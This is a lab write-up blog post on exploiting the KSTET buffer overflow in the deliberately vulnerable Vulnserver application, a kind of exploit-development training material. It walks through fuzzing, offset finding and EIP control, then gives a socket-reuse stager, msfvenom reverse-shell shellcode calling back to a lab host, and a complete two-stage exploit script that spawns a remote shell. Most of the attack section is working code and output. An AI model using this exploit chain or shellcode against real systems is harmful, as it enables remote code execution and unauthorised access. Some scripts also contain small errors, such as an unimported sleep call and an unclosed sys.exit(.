aidenpearce369
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Vulnserver KSTET - Staged exploitation and Socket reusing

Prologue

On last blog, we have exploited the GTER command using Socket Reuse Stager and we are going to perform the same attack on KSTET command to gain access on target machine

I had tried exploiting with egg hunters on this command, but it didn't work because of some opcodes

I had used egg hunter with Wow64 and my VM is running on x64 bit architecture

If anyone succeeded in exploiting this command using these, kindly ping me.. It would be a great help

Spiking the vulnserver

Creating a spike script for spiking using generic_send_tcp,

┌──(kali㉿aidenpearce369)-[~/vulnserver/KSTET]
└─$ cat kstet.spk      
s_readline();
s_string("KSTET ");
s_string_variable("0");
                                                                       
┌──(kali㉿aidenpearce369)-[~/vulnserver/KSTET]
└─$ generic_send_tcp 192.168.116.140 9999 kstet.spk 0 0 
Total Number of Strings is 681
Fuzzing
Fuzzing Variable 0:0
Fuzzing Variable 0:1
Variablesize= 5004
Fuzzing Variable 0:2
Variablesize= 5005
Fuzzing Variable 0:3
Variablesize= 21

...

While spiking KSTET command, we could see that we could not connect to the Vulnserver anymore

Yes.. It got crashed!!

We could see that our Vulnserver application has been terminated by Access Violation error

From this we can confirm that, KSTET command is vulnerable to Buffer Overflow attack

Analysing the source code

The source code for this command is,

else if (strncmp(RecvBuf, "KSTET ", 6) == 0) {
				char *KstetBuf = malloc(100);
				strncpy(KstetBuf, RecvBuf, 100);
				memset(RecvBuf, 0, DEFAULT_BUFLEN);
				Function2(KstetBuf);
				SendResult = send( Client, "KSTET SUCCESSFUL\n", 17, 0 );
			}

It copies only 100 bytes of our data into KstetBuf by using strncpy()

strncpy() is not vulnerable, but we have only small buffer space which becomes a constraint for us

After storing these, it invokes the vulnerable function Function2(KstetBuf)

The souce code of this vulnerable function is,

void Function2(char *Input) {
	char Buffer2S[60];
	strcpy(Buffer2S, Input);
}

Here the main overflow attack is caused by strcpy function, where Buffer2S is only limited for 60 bytes but the incoming buffer has more data (100 bytes) than that causing it to overflow the Buffer2S buffer while copying

This command does not expects any special character used for validation

Fuzzing the server

We have successfully crashed our server and the payload data begins with KSTET which is made up of 6 bytes

Lets create a python script which generates payload data and fuzzes the payload length to crash the server

┌──(kali㉿aidenpearce369)-[~/vulnserver/KSTET]
└─$ cat fuzzing.py        
import socket, sys
payload=b"A"*100
while True:
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(("192.168.116.140", 9999))
        s.send((b"KSTET "+payload))
        sleep(5)
        payload=payload+b"A"*100
    except:
        print("Fuzzing crashed at %s bytes"%(len(payload)))
        sys.exit()
                                                                       
┌──(kali㉿aidenpearce369)-[~/vulnserver/KSTET]
└─$ python3 fuzzing.py   
Fuzzing crashed at 100 bytes

The Vulnserver application should be ran without debugger, to avoid socket connection errors while fuzzing

So, from fuzzing we can estimate that our Vulnserver application is crashing at 100 bytes of buffer data

Still, we are not sure about the approximate buffer space data need to create an overflow

Finding offset

Creating pattern using metasploit,

┌──(kali㉿aidenpearce369)-[~]
└─$ msf-pattern_create -l 100 
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

Fuzzing with the pattern to crash the program,

Finding offset of the EIP from the pattern

┌──(kali㉿aidenpearce369)-[~]
└─$ msf-pattern_offset -q 63413363
[*] Exact match at offset 70

We can see that our EIP is at the offset of 70 bytes in the pattern

So we should use 6 bytes of KSTET and 70 bytes of A's to reach EIP

Overwriting instruction pointer

Now, we have found the offset of our EIP

It’s time to control the EIP, which is the important phase of every exploitation

Lets craft a script to overwrite the EIP with our own custom data, which will be further used to craft an exploit,

┌──(kali㉿aidenpearce369)-[~/vulnserver/KSTET]
└─$ cat overwrite-eip.py 
import socket, sys
payload=b""
# to overwrite buffer and EBP
payload+=b"A"*70
# to overwrite EIP
payload+=b"D"*4
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.116.140", 9999))
s.send((b"KSTET "+payload))
s.close()
sys.exit()
                                                                       
┌──(kali㉿aidenpearce369)-[~/vulnserver/KSTET]
└─$ python3 overwrite-eip.py 

We have successfully overwrote the EIP with our own data 0x44444444

So we could control EIP and redirect the code execution to the next point

Finding bad characters

Lets pass bad characters on our buffer memory to see our data dump on that region,

import socket, sys
# collection of badchars except \x00
badchars=(b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
b"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
b"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
b"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
b"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
b"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
b"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
payload=b""
# passing badchars on buffer and EBP
payload+=badchars[0:70]
# to overwrite EIP
payload+=b"B"*4
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.116.140", 9999))
s.send((b"KSTET "+payload))
s.close()
sys.exit()

Since our buffer space is low, we will be passing set of 70 bytes of characters in sequence to analyse it in the memory

After covering all characters, we could confirm that null byte is the only bad character

Redirecting code execution

Since, this command is similar to GTER we will be trying the same scripts used before,

──(kali㉿aidenpearce369)-[~/vulnserver/KSTET]
└─$ cat jmp-esp.py 
import socket, sys
payload=b""
# to overwrite buffer and EBP
payload+=b"A"*70
# to overwrite EIP with JMP ESP
payload+=b"\xaf\x11\x50\x62"
payload+=b"D"*4
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.116.140", 9999))
s.send((b"KSTET "+payload))
s.close()
sys.exit()
                                                                       
┌──(kali㉿aidenpearce369)-[~/vulnserver/KSTET]
└─$ python3 jmp-esp.py

After crashing, we can see that we landed perfectly on ESP memory

So, we have successfully redirected our program flow

Next we have to point it with our shellcode

But the main constraint here is our buffer size, it is so small to fit our shellcode in it

What we can do is, place an egg hunter / opcodes for re-using socket to get the second stage shellcode to exploit the program

In this blog we will try to exploit this by using socket reusage stager

Stack pivoting

Lets create the opcode value to drift back to EAX register using nasm-shell,

On EAX our KSTET value takes 6 bytes and lets other bytes as NOPs

┌──(kali㉿aidenpearce369)-[~]
└─$ /usr/bin/msf-nasm_shell
nasm > add eax,0x10
00000000  83C010            add eax,byte +0x10
nasm > jmp eax
00000000  FFE0              jmp eax

Adding this opcode in our python script,

┌──(kali㉿aidenpearce369)-[~/vulnserver/KSTET]
└─$ cat stack-pivot.py 
import socket, sys
payload=b""
# to overwrite buffer and EBP
payload+=b"\x90"*70
# to overwrite EIP with JMP ESP
payload+=b"\xaf\x11\x50\x62"
# stack pivot
payload+=b"\x90"
payload+=b"\x83\xc0\x10"
payload+=b"\xcc" # break point to analyse
payload+=b"\xff\xe0"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.116.140", 9999))
s.send((b"KSTET "+payload))
s.close()
sys.exit()
                                                                       
┌──(kali㉿aidenpearce369)-[~/vulnserver/KSTET]
└─$ python3 stack-pivot.py

After crashing our program, beyond EIP we can see our jmp eax

Proceeding with step intos, we can see that we have been redirected into the buffer data

So we can successfully land into buffer data by stack pivoting

Socket reusing

This KSTET command is almost similar to GTER command, the only difference between them is the buffer size

The JMP.&WS2_32.recv() is same and static, since they are all from the same program

We just need to craft the socket reuse stager to push the arguments into the stack for JMP.&WS2_32.recv()

I have clearly discussed how to craft the socket reuse stager in detail on my previous post

We will be using the same stager, because we need the same operation to be performed by this socket

Adding socket reuse stager

The socket reuse stager used for the previous exploit is,

file_descriptor=b""
file_descriptor+=b"\xcc"
file_descriptor+=b"\x54"
file_descriptor+=b"\x5b"
file_descriptor+=b"\x66\x81\xc3\x88\x01"

stack_adjustment=b""
stack_adjustment+=b"\x83\xec\x70"

flag_value=b""
flag_value+=b"\x31\xc0"
flag_value+=b"\x50"

buffer_size=b""
buffer_size+=b"\x80\xc4\x04"
buffer_size+=b"\x50"

buffer_pointer=b""
buffer_pointer+=b"\x54"
buffer_pointer+=b"\x58"
buffer_pointer+=b"\x83\xc0\x70"
buffer_pointer+=b"\x50"

get_file_descriptor=b""
get_file_descriptor+=b"\x8b\x0b"
get_file_descriptor+=b"\x51"

socket_recv=b""
socket_recv+=b"\xba\xaa\x2c\x25\x40"
socket_recv+=b"\xc1\xea\x08"
socket_recv+=b"\xff\xd2"

We will be passing it into our stage 1 payload

Crafting shellcode

Lets generate the shellcode for our reverse shell using msfvenom,

┌──(kali㉿aidenpearce369)-[~]
└─$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.116.128 LPORT=9876 -f python -e x86/shikata_ga_nai -b "\x00"
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of python file: 1712 bytes
buf =  b""
buf += b"\xd9\xc6\xd9\x74\x24\xf4\xbe\x4b\x0e\xc3\xd4\x58\x33"
buf += b"\xc9\xb1\x52\x31\x70\x17\x83\xe8\xfc\x03\x3b\x1d\x21"
buf += b"\x21\x47\xc9\x27\xca\xb7\x0a\x48\x42\x52\x3b\x48\x30"
buf += b"\x17\x6c\x78\x32\x75\x81\xf3\x16\x6d\x12\x71\xbf\x82"
buf += b"\x93\x3c\x99\xad\x24\x6c\xd9\xac\xa6\x6f\x0e\x0e\x96"
buf += b"\xbf\x43\x4f\xdf\xa2\xae\x1d\x88\xa9\x1d\xb1\xbd\xe4"
buf += b"\x9d\x3a\x8d\xe9\xa5\xdf\x46\x0b\x87\x4e\xdc\x52\x07"
buf += b"\x71\x31\xef\x0e\x69\x56\xca\xd9\x02\xac\xa0\xdb\xc2"
buf += b"\xfc\x49\x77\x2b\x31\xb8\x89\x6c\xf6\x23\xfc\x84\x04"
buf += b"\xd9\x07\x53\x76\x05\x8d\x47\xd0\xce\x35\xa3\xe0\x03"
buf += b"\xa3\x20\xee\xe8\xa7\x6e\xf3\xef\x64\x05\x0f\x7b\x8b"
buf += b"\xc9\x99\x3f\xa8\xcd\xc2\xe4\xd1\x54\xaf\x4b\xed\x86"
buf += b"\x10\x33\x4b\xcd\xbd\x20\xe6\x8c\xa9\x85\xcb\x2e\x2a"
buf += b"\x82\x5c\x5d\x18\x0d\xf7\xc9\x10\xc6\xd1\x0e\x56\xfd"
buf += b"\xa6\x80\xa9\xfe\xd6\x89\x6d\xaa\x86\xa1\x44\xd3\x4c"
buf += b"\x31\x68\x06\xc2\x61\xc6\xf9\xa3\xd1\xa6\xa9\x4b\x3b"
buf += b"\x29\x95\x6c\x44\xe3\xbe\x07\xbf\x64\x01\x7f\xcb\xf4"
buf += b"\xe9\x82\x33\xd3\x7d\x0b\xd5\x71\x6e\x5a\x4e\xee\x17"
buf += b"\xc7\x04\x8f\xd8\xdd\x61\x8f\x53\xd2\x96\x5e\x94\x9f"
buf += b"\x84\x37\x54\xea\xf6\x9e\x6b\xc0\x9e\x7d\xf9\x8f\x5e"
buf += b"\x0b\xe2\x07\x09\x5c\xd4\x51\xdf\x70\x4f\xc8\xfd\x88"
buf += b"\x09\x33\x45\x57\xea\xba\x44\x1a\x56\x99\x56\xe2\x57"
buf += b"\xa5\x02\xba\x01\x73\xfc\x7c\xf8\x35\x56\xd7\x57\x9c"
buf += b"\x3e\xae\x9b\x1f\x38\xaf\xf1\xe9\xa4\x1e\xac\xaf\xdb"
buf += b"\xaf\x38\x38\xa4\xcd\xd8\xc7\x7f\x56\xe8\x8d\xdd\xff"
buf += b"\x61\x48\xb4\xbd\xef\x6b\x63\x81\x09\xe8\x81\x7a\xee"
buf += b"\xf0\xe0\x7f\xaa\xb6\x19\xf2\xa3\x52\x1d\xa1\xc4\x76"

We have crafted our shellcode which is made up of 351 bytes and it is almost impossible to send our payload in buffer data or in ESP

So lets use staging exploitation technique to send this payload by socket reuse stager

Exploitation

The final exploit for KSTET command is,

import socket, sys
from time import sleep

file_descriptor=b""
file_descriptor+=b"\x54"
file_descriptor+=b"\x5b"
file_descriptor+=b"\x66\x81\xc3\x88\x01"

stack_adjustment=b""
stack_adjustment+=b"\x83\xec\x70"

flag_value=b""
flag_value+=b"\x31\xc0"
flag_value+=b"\x50"

buffer_size=b""
buffer_size+=b"\x80\xc4\x04"
buffer_size+=b"\x50"

buffer_pointer=b""
buffer_pointer+=b"\x54"
buffer_pointer+=b"\x58"
buffer_pointer+=b"\x83\xc0\x70"
buffer_pointer+=b"\x50"

get_file_descriptor=b""
get_file_descriptor+=b"\x8b\x0b"
get_file_descriptor+=b"\x51"

socket_recv=b""
socket_recv+=b"\xba\xaa\x2c\x25\x40"
socket_recv+=b"\xc1\xea\x08"
socket_recv+=b"\xff\xd2"

buf =  b""
buf += b"\xd9\xc6\xd9\x74\x24\xf4\xbe\x4b\x0e\xc3\xd4\x58\x33"
buf += b"\xc9\xb1\x52\x31\x70\x17\x83\xe8\xfc\x03\x3b\x1d\x21"
buf += b"\x21\x47\xc9\x27\xca\xb7\x0a\x48\x42\x52\x3b\x48\x30"
buf += b"\x17\x6c\x78\x32\x75\x81\xf3\x16\x6d\x12\x71\xbf\x82"
buf += b"\x93\x3c\x99\xad\x24\x6c\xd9\xac\xa6\x6f\x0e\x0e\x96"
buf += b"\xbf\x43\x4f\xdf\xa2\xae\x1d\x88\xa9\x1d\xb1\xbd\xe4"
buf += b"\x9d\x3a\x8d\xe9\xa5\xdf\x46\x0b\x87\x4e\xdc\x52\x07"
buf += b"\x71\x31\xef\x0e\x69\x56\xca\xd9\x02\xac\xa0\xdb\xc2"
buf += b"\xfc\x49\x77\x2b\x31\xb8\x89\x6c\xf6\x23\xfc\x84\x04"
buf += b"\xd9\x07\x53\x76\x05\x8d\x47\xd0\xce\x35\xa3\xe0\x03"
buf += b"\xa3\x20\xee\xe8\xa7\x6e\xf3\xef\x64\x05\x0f\x7b\x8b"
buf += b"\xc9\x99\x3f\xa8\xcd\xc2\xe4\xd1\x54\xaf\x4b\xed\x86"
buf += b"\x10\x33\x4b\xcd\xbd\x20\xe6\x8c\xa9\x85\xcb\x2e\x2a"
buf += b"\x82\x5c\x5d\x18\x0d\xf7\xc9\x10\xc6\xd1\x0e\x56\xfd"
buf += b"\xa6\x80\xa9\xfe\xd6\x89\x6d\xaa\x86\xa1\x44\xd3\x4c"
buf += b"\x31\x68\x06\xc2\x61\xc6\xf9\xa3\xd1\xa6\xa9\x4b\x3b"
buf += b"\x29\x95\x6c\x44\xe3\xbe\x07\xbf\x64\x01\x7f\xcb\xf4"
buf += b"\xe9\x82\x33\xd3\x7d\x0b\xd5\x71\x6e\x5a\x4e\xee\x17"
buf += b"\xc7\x04\x8f\xd8\xdd\x61\x8f\x53\xd2\x96\x5e\x94\x9f"
buf += b"\x84\x37\x54\xea\xf6\x9e\x6b\xc0\x9e\x7d\xf9\x8f\x5e"
buf += b"\x0b\xe2\x07\x09\x5c\xd4\x51\xdf\x70\x4f\xc8\xfd\x88"
buf += b"\x09\x33\x45\x57\xea\xba\x44\x1a\x56\x99\x56\xe2\x57"
buf += b"\xa5\x02\xba\x01\x73\xfc\x7c\xf8\x35\x56\xd7\x57\x9c"
buf += b"\x3e\xae\x9b\x1f\x38\xaf\xf1\xe9\xa4\x1e\xac\xaf\xdb"
buf += b"\xaf\x38\x38\xa4\xcd\xd8\xc7\x7f\x56\xe8\x8d\xdd\xff"
buf += b"\x61\x48\xb4\xbd\xef\x6b\x63\x81\x09\xe8\x81\x7a\xee"
buf += b"\xf0\xe0\x7f\xaa\xb6\x19\xf2\xa3\x52\x1d\xa1\xc4\x76"

payload=b""
payload+=b"\x90"*10
payload+=file_descriptor
payload+=stack_adjustment
payload+=flag_value
payload+=buffer_size
payload+=buffer_pointer
payload+=get_file_descriptor
payload+=socket_recv
payload+=b"\x90"*(70-len(payload))
payload+=b"\xaf\x11\x50\x62"
payload+=b"\x90"
payload+=b"\x83\xc0\x10"
payload+=b"\xff\xe0"

stage1=b""
stage1+=payload

stage2=b""
stage2+=buf
stage2+=b"\x90"*(1024-len(buf))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.116.140", 9999))

print("[+] Sending STAGE 1 payload")
s.send((b"KSTET "+stage1))
sleep(5)

print("[+] Sending STAGE 2 payload")
s.send(stage2)

print("[+] Exploit complete.. Shell spawned")
s.close()
sys.exit(

After running this exploit on KSTET command, we will spawn a reverse shell